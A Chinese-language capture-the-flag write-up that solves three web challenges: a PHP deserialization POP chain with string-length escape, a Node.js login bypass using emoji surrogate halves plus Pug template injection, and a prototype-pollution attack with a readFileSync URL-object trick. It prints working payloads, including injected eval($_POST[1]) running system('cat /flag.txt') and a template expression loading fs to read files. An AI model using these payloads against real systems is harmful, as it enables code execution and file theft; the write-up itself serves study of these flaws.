下了三天雨,啥也没看着。
city_pop
提示了 pop.php 。
filter 替换 getflag 为 hark ,少了两个字符,而 Start 方法无法传参对象,因此猜测是反序列化逃逸。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php error_reporting (0 );function filter ($str ) { $str =str_replace ("getflag" ,'hark' ,$str ); return $str ; } class Start { public $start ; public $end ; public function __construct ($start ,$end ) { $this ->start=$start ; $this ->end=$end ; } } class Go { public function __destruct ( ) { echo $this ->ray; } } class Get { public $func ; public $name ; public function __get ($name ) { call_user_func ($this ->func,$name ); } public function __toString ( ) { $this ->name->{$this ->func}; } } class Done { public $eval ; public $class ; public $use ; public $useless ; public function __invoke ( ) { $this ->use =$this ->useless ; eval ($this ->eval ); } public function __wakeup ( ) { $this ->eval ='no way' ; } } if (isset ($_GET ['ciscn_huaibei.pop' ])){ $pop =new start ($_GET ['ciscn_huaibei.pop' ],$_GET ['pop' ]); $ser =filter (serialize ($pop )); unserialize ($ser ); }else { highlight_file (__FILE__ ); } ?>
POP 链构造
思路是 Go 的 destruct 调用 Get 的 toString ,然后跳转 get 最后到 Done 的 invoke 。
而 Done 中有 wakeup 对 eval 进行了覆写,因此将赋值 use 地址给 eval ,通过对 use 赋值来更改 eval 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class Start { public $start ; public $end ; } class Go {} class Get { public $func ; public $name ; } class Done { public $eval ; public $class ; public $use ; public $useless ; } $d = new Done ();$d ->use =& $d ->eval ;$d ->eval = 'no way' ;$d ->useless = "eval(\$_POST[1]);" ;$d ->use = $d ->useless ;$get = new Get (new Get ("1" , $d ), "phpinfo()" );$go = new Go ;$go ->ray = $get ;print_r (serialize (new Start ('getflaggetflaggetflaggetflaggetflaggetflag' , $go )));
字符变量传参
对于 ciscn_huaibei.pop 这个传参来说,PHP 在遇到 [ 的时候,如果没有匹配到接下来的 ] ,则会替换其为 _ ,然后直接 return 不管后面了。
1 2 3 4 5 6 7 8 9 10 11 12 ip = strchr (ip, ']' ); if (!ip) { *(index_s - 1 ) = '_' ; index_len = 0 ; if (index) { index_len = strlen (index); } goto plain_var; return ; }
总结
直接构造。
1 2 3 POST http://172.1.14.1/pop.php?ciscn[huaibei.pop=getflaggetflaggetflaggetflaggetflaggetflag&pop=;s:3:%22end%22;O:2:%22Go%22:1:{s:3:%22ray%22;O:3:%22Get%22:2:{s:4:%22func%22;s:9:%22phpinfo()%22;s:4:%22name%22;O:3:%22Get%22:2:{s:4:%22func%22;O:4:%22Done%22:4:{s:4:%22eval%22;s:16:%22eval($_POST[1]);%22;s:5:%22class%22;N;s:3:%22use%22;R:8;s:7:%22useless%22;s:16:%22eval($_POST[1]);%22;}s:4:%22name%22;s:1:%221%22;}}}} 1=system('cat /flag.txt');
emoji
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 const express = require ('express' );const ejs=require ('ejs' )const session = require ('express-session' );const bodyParse = require ('body-parser' );const pugjs=require ('pug' )function IfLogin (req, res, next ){ if (req.session .user !=null ){ next () }else { res.redirect ('/login' ) } } admin={ "username" :"admin" , "password" :"😍😂😍😒😘💕😁🙌" } app=express () app.use (express.json ()); app.use (bodyParse.urlencoded ({extended : false })); app.set ('view engine' , 'ejs' ); app.use (session ({ secret : 'legend of zelda : tears of kingdom' , resave : false , saveUninitialized : true , cookie : { maxAge : 3600 * 1000 } })); app.get ('/' ,IfLogin ,(req,res )=> { res.send ('if you want flag .then go to /admin ,and find a way to get it . no pain, no gain !' ) }) app.get ('/login' ,(req,res )=> { console .log (req.session .user ) res.render ('login' ) }) app.post ('/login' ,(req,res )=> { var username=req.body .username var password=req.body .password if (username||password){ if (username.includes ('ad' )){ res.send ('you not the true admin' ) }else { if (username.toString ().substring (0 ,2 )===admin.username .substring (0 ,2 )&&password===admin.password .substring (1 ,15 )){ console .log (1 ) req.session .user ={'username' :username,'isadmin' :'1' } console .log (2 ) }else { req.session .user ={'username' :username} } res.redirect ('/' ) } } else { res.send ('please enter usrname or password' ) } }) app.get ('/admin' ,IfLogin ,(req,res )=> { if (req.session .user .isadmin ==='1' ){ var hello='welcome ' +req.session .user .username res.send (pugjs.render (hello)) } res.send ('you are not admin' ) }) app.listen ('8080' , () => { console .log (`Example app listening at http://localhost:8080` ) })
大概是三个要点,一是 JavaScript 对 emoji 字符的编码。
编码
JavaScript 采用的是 Unicode 字符集,UTF-16 编码,因此对于一个 emoji 字符来说,其在 JavaScript 中表示的长度为 2 。
其中 charCodeAt 方法返回一个介于 0-65535 之间的整数,表示给定索引处的 UTF-16 代码单元。
而 codePointAt 方法返回一个非负整数,表示 Unicode 码点。
1 2 3 4 5 6 7 var emoji = "😍" console .log (emoji.length ) for (let i in emoji) {console .log (emoji[i].charCodeAt (0 ))} emoji.codePointAt (0 )
Unicode
Unicode 字符集目前分了 17 个区,最前面的 65536 个字符在基本平面(BMP, Basic Multilingual Plane) , 码点范围 U+0000 - U+FFFF 。剩余的字符都在辅助平面(SMP, Supplementary Multilingual Plane) ,有 16 个,码点范围 U+010000 - U+10FFFF 。emoji 字符都在辅助平面,在解析的时候,可以使用 U+200D 零宽连字符,将两个 emoji 连起来,使其看起来像是一个 emoji ,不支持的系统会忽略零宽连字,直接显示多个 emoji 字符。
UTF-16
对于 Unicode 来说,U+D800 - U+DFFF 是保留的码位区间。而 UTF-16 便使用这个区间来对辅助平面的字符进行编码,其将区间 U+D800 - U+DBFF 划为高位 H ,U+DC00 - U+DFFF 划为低位 L ,有以下公式。
\[
\mbox{}H = Math.floor((C-\mbox{0x10000}) / \mbox{0x400})+\mbox{0xD800}
\]
\[
L = (C - \mbox{0x10000})\ mod\ \mbox{0x400} + \mbox{0xDC00}
\]
代入上文 codePointAt 返回的 128525 ,可以分别得到 charCodeAt 先后打印的值 55357、56845 。
因此当遇到第一个字符【头两个字节】的码点在 U+D800 - U+DBFF 区间【高位 H 】上的时候,就需要和后一个字符【后两个字节】连着解码。
ToString
数字类型
十进制数转换为字符串:将数字对象的 toString() 方法应用于数字,可以指定要转换的进制作为可选参数。
1 2 3 var number = 42 ;var str = number.toString (); console .log (str);
其他进制转换为字符串:指定要转换的进制作为 toString() 方法的参数。
1 2 3 var number = 42 ;var str = number.toString (16 ); console .log (str);
字符串类型
字符串对象的 toString() 方法返回字符串自身。
1 2 3 var str = "Hello" ;var result = str.toString ();console .log (result);
布尔类型
布尔对象的 toString() 方法返回布尔值的字符串表示。
1 2 3 var bool = true ;var result = bool.toString ();console .log (result);
数组类型
数组对象的 toString() 方法将数组的所有元素转换为字符串,并用逗号分隔。
1 2 3 var arr = [1 , 2 , 3 ];var result = arr.toString ();console .log (result);
includes
在 JavaScript 中,includes() 方法用于检查数组或字符串中是否包含指定的元素或子字符串,并返回相应的布尔值。
字符串类型
1 2 3 4 var str = "Hello, World!" ;console .log (str.includes ("World" )); console .log (str.includes ("Hi" ));
数组类型
1 2 3 4 var array = [1 , 2 , 3 , 4 , 5 ];console .log (array.includes (3 )); console .log (array.includes (6 ));
以及对于数组类型还有如下结果。
1 2 3 4 5 6 7 var array = ['ad' ];console .log (array.includes ('ad' )); var array = ['admin' ];console .log (array.includes ('ad' ));
结论
因为 /admin 路由中是当 isadmin==='1' 的时候,才去获取 username 传入的参数,使用 render 方法解析。
那么结合上文引入的 ejs 和 pug 可以猜测是一个 ejs 模板引擎注入。
而要给 req.session.user.username 传参,需要满足 /login 中的登录条件。
结合上述 toString 和 includes 方法的一些特性,可以不难得出 username 传入数组形式的 payload 的结论。
1 "username" : ["ad#{global.process.mainModule.constructor._load('fs').readFileSync('/flag.txt')}" ]
这样对于 username.includes('ad') 可以绕过,因为传入的不是 ["ad"] ,而 toString 后获得的字符串也是以 ad 开头。
接下来是对 admin.password.substring(1,15) 的绕过。
1 2 console .log (admin.password .substring (1 ,15 ).charCodeAt (0 ).toString (16 )) console .log (admin.password .substring (1 ,15 ).charCodeAt (13 ).toString (16 ))
得到头尾半个 Unicode 编码的 emoji 字符。
最后构造 payload 。
1 2 3 4 5 6 { "username" : [ "ad#{global.process.mainModule.constructor._load('fs').readFileSync('/flag.txt')}" ], "password" : "\ude0d😂😍😒😘💕😁\ud83d" }
pollution
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 const expres = require ('express' )const JSON 5 = require ('json5' );const bodyParser = require ('body-parser' )var fs = require ("fs" );const session = require ('express-session' )const rand = require ('string-random' )var cookieParser = require ('cookie-parser' );const SECRET = rand (32 , '0123456789abcdef' )const port = 80 const app = expres ()app.use (bodyParser.urlencoded ({extended : false })) app.use (bodyParser.json ()) app.use (session ({ secret : SECRET , resave : false , saveUninitialized : true , cookie : {maxAge : 3600 * 1000 } })); app.use (cookieParser ()); function waf (obj, arr ) { let verify = true ; Object .keys (obj).forEach ((key ) => { if (arr.indexOf (key) > -1 ) { verify = false ; } }); return verify; } app.get ('/' , (req, res ) => { res.send ('hellllllo!' ) }) app.post ('/login' , (req, res ) => { let userinfo = JSON .stringify (req.body ) const user = JSON 5.parse (userinfo) if (waf (user, ['admin' ])) { req.session .user = user if (req.session .user .admin == true ) { req.session .user = 'admin' } res.send ('login success!' ) } else { res.send ('login error!' ) } }) app.post ('/dosometing' , (req, res ) => { if (req.session .user === 'admin' ) { if (JSON .stringify (req.body .file ).includes ("flag" )) { req.body .file = '' } const flag = fs.readFileSync (req.body .file ) res.send (flag.toString ()) } else { res.send ('you are not admin' ) } }) app.get ('/for_check' , (req, res ) => { res.send (fs.readFileSync ('/app/app.js' ).toString ()) }) app.listen (port, () => { console .log (`Example app listening on port ${port} ` ) })
原型链污染比较简单。
1 { __proto__: { admin: true } }
读文件需要细究一下 readFileSync 。
readFileSync
调用栈如下。
1 2 3 4 5 6 getPathFromURLPosix(), url:1467 fileURLToPath(), url:1488 toPathIfFileURL(), url:1567 __node_internal_(), utils:687 openSync(), fs:592 readFileSync(), fs:468
首先是调用 openSync 方法。
1 2 3 4 5 6 function readFileSync (path, options ) { options = getOptions (options, { flag : 'r' }); const isUserFd = isFd (path); const fd = isUserFd ? path : fs.openSync (path, options.flag , 0o666 ); }
openSync 中会用 getValidatedPath 对路径的合法性进行校验。
1 2 3 4 5 6 7 8 9 10 11 12 function openSync (path, flags, mode ) { path = getValidatedPath (path); const flagsNumber = stringToFlags (flags); mode = parseFileMode (mode, 'mode' , 0o666 ); const ctx = { path }; const result = binding.open (pathModule.toNamespacedPath (path), flagsNumber, mode, undefined , ctx); handleErrorFromBinding (ctx); return result; }
getValidatedPath 中用 toPathIfFileURL 获取路径。
1 2 3 4 5 const getValidatedPath = hideStackFrames ((fileURLOrPath, propName = 'path' ) => { const path = toPathIfFileURL (fileURLOrPath); validatePath (path, propName); return path; });
toPathIfFileURL 中使用 isURLInstance 判断路径是 URL 还是 Path 。
1 2 3 4 5 function toPathIfFileURL (fileURLOrPath ) { if (!isURLInstance (fileURLOrPath)) return fileURLOrPath; return fileURLToPath (fileURLOrPath); }
isURLInstance 中,当路径存在 href 和 origin 属性时被判定为 URL 。
1 2 3 function isURLInstance (fileURLOrPath ) { return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin ; }
然后调用 fileURLToPath 方法转换 URL 为 Path ,其中 protocol 属性需要为 file: 。
1 2 3 4 5 6 7 8 9 function fileURLToPath (path ) { if (typeof path === 'string' ) path = new URL (path); else if (!isURLInstance (path)) throw new ERR_INVALID_ARG_TYPE ('path' , ['string' , 'URL' ], path); if (path.protocol !== 'file:' ) throw new ERR_INVALID_URL_SCHEME ('file' ); return isWindows ? getPathFromURLWin32 (path) : getPathFromURLPosix (path); }
由于不是 Windows ,因此进入 getPathFromURLPosix 来获取 path ,在这个方法中,hostname 需要为空字符,然后对 pathname 进行一次 URL 解码并返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function getPathFromURLPosix (url ) { if (url.hostname !== '' ) { throw new ERR_INVALID_FILE_URL_HOST (platform); } const pathname = url.pathname ; for (let n = 0 ; n < pathname.length ; n++) { if (pathname[n] === '%' ) { const third = pathname.codePointAt (n + 2 ) | 0x20 ; if (pathname[n + 1 ] === '2' && third === 102 ) { throw new ERR_INVALID_FILE_URL_PATH ( 'must not include encoded / characters' ); } } } return decodeURIComponent (pathname); }
结论
传入 href 和 origin 不为空,protocol 为 file: ,hostname 为空字符,这时 pathname 可以通过 URL 编码绕过 includes("flag") 的判定。
1 { "file" : { "href" : "x" , "origin" : "x" , "protocol" : "file:" , "hostname" : "" , "pathname" : "/fl%61g.txt" } }
REFER
PHP 变量流量层面 WAF 绕过